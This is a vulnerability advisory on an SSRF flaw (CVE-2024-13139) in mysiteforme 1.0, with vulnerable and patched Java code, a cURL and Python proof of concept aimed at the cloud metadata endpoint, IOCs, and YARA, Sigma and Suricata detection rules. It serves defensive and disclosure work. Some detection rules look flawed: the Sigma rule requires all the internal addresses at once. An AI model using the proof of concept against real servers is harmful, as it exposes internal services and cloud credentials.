CVE-2024-13139

Executive Summary

CVE-2024-13139 is a critical Server-Side Request Forgery (SSRF) vulnerability discovered in wangl1989 mysiteforme version 1.0. The flaw resides in the doContent function within FileController.java, allowing an unauthenticated remote attacker to manipulate the content argument to force the server into making arbitrary HTTP requests. This can lead to internal network reconnaissance, access to cloud metadata endpoints (e.g., AWS/169.254.169.254), or interaction with other internal services. The vulnerability has been publicly disclosed with proof-of-concept code, and no official patch is currently available.

Supply Chain & Package Security

This vulnerability affects a Java-based web application (mysiteforme). While not a direct package manager (NPM/PyPI/Go/Ruby) issue, the risk extends to any deployment using this software. Organizations using mysiteforme should treat this as a critical supply chain risk due to the lack of a patch and the public availability of exploit details.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Changed (impact on resources beyond the vulnerable component)
• Confidentiality: High
• Integrity: None
• Availability: None

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, has a low attack complexity, and can lead to significant data exposure from internal networks.

Deep Dive & Mechanics

The vulnerability is a classic SSRF in the doContent method of FileController.java. The application accepts a content parameter from the user, which is then used to construct an HTTP request without proper validation or sanitization. An attacker can supply a URL pointing to internal resources (e.g., http://169.254.169.254/latest/meta-data/, http://localhost:8080/admin, or internal service endpoints). The server will then fetch that URL and return the response to the attacker, effectively bypassing network segmentation.

Root Cause: Lack of input validation on the content parameter and absence of a URL whitelist or blocklist for internal IP ranges.

Vulnerable vs. Patched Code

Vulnerable Code (mysiteforme 1.0):

// FileController.java
public String doContent(String content) {
    // No validation - directly fetches the URL
    URL url = new URL(content);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
    // ... read and return response
}

Patched Code (Hypothetical):

// FileController.java - Patched version
public String doContent(String content) {
    // Validate URL against a whitelist
    if (!isAllowedUrl(content)) {
        throw new SecurityException("URL not allowed");
    }
    // Use a safe HTTP client with timeout and redirect restrictions
    URL url = new URL(content);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
    connection.setConnectTimeout(5000);
    connection.setReadTimeout(5000);
    connection.setInstanceFollowRedirects(false);
    // ... read and return response
}

private boolean isAllowedUrl(String url) {
    // Implement strict whitelist or block internal IPs
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        InetAddress address = InetAddress.getByName(host);
        if (address.isSiteLocalAddress() || address.isLoopbackAddress()) {
            return false;
        }
        // Additional whitelist logic
        return true;
    } catch (Exception e) {
        return false;
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running mysiteforme 1.0 with the vulnerable endpoint exposed.
• Network access to the target.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /file/doContent).
2. Craft a request with the content parameter pointing to an internal resource.

Proof-of-Concept (cURL):

curl -X POST "http://target.com/file/doContent" \
  -d "content=http://169.254.169.254/latest/meta-data/"

Python Exploit Script:

import requests

target = "http://target.com/file/doContent"
payload = {"content": "http://169.254.169.254/latest/meta-data/"}
response = requests.post(target, data=payload)
print(response.text)

Expected Output: The server will return the AWS metadata (or other internal resource content) to the attacker.

Blue Team

Detection & Response:

• Monitor for outbound HTTP requests from the application server to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
• Alert on requests to cloud metadata endpoints (169.254.169.254).
• Implement network segmentation to restrict the application server's outbound access.
• Use a Web Application Firewall (WAF) to block requests containing internal IP addresses in the content parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the mysiteforme server to internal IP addresses (e.g., 10.x.x.x, 192.168.x.x, 169.254.169.254).
  • Unusual HTTP POST requests to /file/doContent with a content parameter containing a URL.
• File IOCs:
  • Log entries in the application logs showing requests to internal IPs.
• Behavioral IOCs:
  • Unexpected access to cloud metadata endpoints.
  • Unusual data exfiltration patterns from the server.

Detection Engineering

YARA Rule

rule CVE_2024_13139_SSRF {
    meta:
        description = "Detects SSRF exploitation attempts against mysiteforme CVE-2024-13139"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13139"
    strings:
        $s1 = "doContent" ascii wide nocase
        $s2 = "content=" ascii wide nocase
        $s3 = "169.254.169.254" ascii wide nocase
        $s4 = "localhost" ascii wide nocase
        $s5 = "10." ascii wide nocase
        $s6 = "192.168." ascii wide nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-13139 SSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable doContent endpoint with internal IP addresses.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13139
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "doContent"
        cs-uri-query|contains|all:
            - "content="
            - "169.254.169.254"
            - "localhost"
            - "10."
            - "192.168."
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools (rare)
level: high
tags:
    - attack.t1190
    - cve.2024.13139

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13139 SSRF Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/file/doContent"; http_uri; content:"content="; http_client_body; pcre:"/(169\.254\.169\.254|localhost|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: Place the mysiteforme server in a restricted network segment with minimal outbound access.
2. Apply virtual patching: Use a WAF to block requests containing internal IP addresses in the content parameter.
3. Disable the vulnerable endpoint: If possible, remove or disable the /file/doContent endpoint until a patch is available.

Long-Term Fix:

• Upgrade: Monitor the vendor's repository for an official patch. If none is forthcoming, consider migrating to an alternative solution.
• Code Fix: Implement input validation as shown in the patched code example above. Use a URL whitelist and block internal IP ranges.
• Network Hardening: Implement strict egress filtering to prevent the server from making requests to internal networks.

Valters IT